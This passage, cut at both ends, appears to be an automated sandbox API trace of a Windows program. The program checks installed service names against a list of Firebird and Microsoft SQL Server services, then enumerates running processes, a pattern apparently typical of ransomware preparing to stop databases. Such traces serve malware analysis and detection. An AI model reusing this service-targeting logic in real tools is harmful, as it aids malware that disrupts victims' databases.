(lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0243.691] lstrlenW (lpString="Dnscache") returned 8 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0243.691] lstrlenW (lpString="DPS") returned 3 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0243.691] lstrlenW (lpString="DusmSvc") returned 7 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0243.691] lstrlenW (lpString="EventLog") returned 8 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0243.692] lstrlenW (lpString="EventSystem") returned 11 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0243.692] lstrlenW (lpString="FontCache") returned 9 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0243.692] lstrlenW (lpString="gpsvc") returned 5 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0243.692] lstrlenW (lpString="iphlpsvc") returned 8 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0243.692] lstrlenW (lpString="KeyIso") returned 6 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0243.692] lstrlenW (lpString="LanmanServer") returned 12 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0243.692] lstrlenW (lpString="LanmanWorkstation") returned 17 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0243.692] lstrlenW (lpString="lfsvc") returned 5 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0243.692] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0243.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0243.692] lstrlenW (lpString="lmhosts") returned 7 [0243.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0243.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0243.692] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0243.693] lstrlenW (lpString="LSM") returned 3 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0243.693] lstrlenW (lpString="MpsSvc") returned 6 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0243.693] lstrlenW (lpString="NcbService") returned 10 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0243.693] lstrlenW (lpString="netprofm") returned 8 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0243.693] lstrlenW (lpString="NgcSvc") returned 6 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0243.693] lstrlenW (lpString="NlaSvc") returned 6 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0243.693] lstrlenW (lpString="nsi") returned 3 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0243.693] lstrlenW (lpString="PcaSvc") returned 6 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0243.693] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0243.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0243.693] lstrlenW (lpString="PlugPlay") returned 8 [0243.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0243.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0243.694] lstrlenW (lpString="Power") returned 5 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0243.694] lstrlenW (lpString="ProfSvc") returned 7 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0243.694] lstrlenW (lpString="RpcEptMapper") returned 12 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0243.694] lstrlenW (lpString="RpcSs") returned 5 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0243.694] lstrlenW (lpString="SamSs") returned 5 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0243.694] lstrlenW (lpString="Schedule") returned 8 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0243.694] lstrlenW (lpString="SecurityHealthService") returned 21 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0243.694] lstrlenW (lpString="SENS") returned 4 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0243.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0243.694] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0243.694] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0243.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0243.694] lstrlenW (lpString="ShellHWDetection") returned 16 [0243.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0243.695] lstrlenW (lpString="Spooler") returned 7 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0243.695] lstrlenW (lpString="StateRepository") returned 15 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0243.695] lstrlenW (lpString="SysMain") returned 7 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0243.695] lstrlenW (lpString="SystemEventsBroker") returned 18 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0243.695] lstrlenW (lpString="Themes") returned 6 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0243.695] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0243.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0243.695] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0243.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0243.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0243.695] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0243.695] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0243.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x560 [0243.699] Process32FirstW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.699] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.700] lstrlenW (lpString="System") returned 6 [0243.700] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.755] lstrlenW (lpString="smss.exe") returned 8 [0243.755] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.814] lstrlenW (lpString="csrss.exe") returned 9 [0243.814] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.814] lstrlenW (lpString="wininit.exe") returned 11 [0243.814] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.815] lstrlenW (lpString="csrss.exe") returned 9 [0243.815] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.815] lstrlenW (lpString="winlogon.exe") returned 12 [0243.815] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.815] lstrlenW (lpString="services.exe") returned 12 [0243.815] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.816] lstrlenW (lpString="lsass.exe") returned 9 [0243.816] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.816] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.816] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.816] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.816] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.817] lstrlenW (lpString="svchost.exe") returned 11 [0243.817] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.817] lstrlenW (lpString="svchost.exe") returned 11 [0243.817] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.817] lstrlenW (lpString="dwm.exe") returned 7 [0243.817] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.818] lstrlenW (lpString="svchost.exe") returned 11 [0243.818] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.818] lstrlenW (lpString="svchost.exe") returned 11 [0243.818] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.818] lstrlenW (lpString="svchost.exe") returned 11 [0243.818] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.819] lstrlenW (lpString="svchost.exe") returned 11 [0243.819] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.819] lstrlenW (lpString="svchost.exe") returned 11 [0243.819] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.819] lstrlenW (lpString="svchost.exe") returned 11 [0243.819] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.820] lstrlenW (lpString="svchost.exe") returned 11 [0243.820] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.820] lstrlenW (lpString="svchost.exe") returned 11 [0243.820] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.820] lstrlenW (lpString="svchost.exe") returned 11 [0243.820] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | 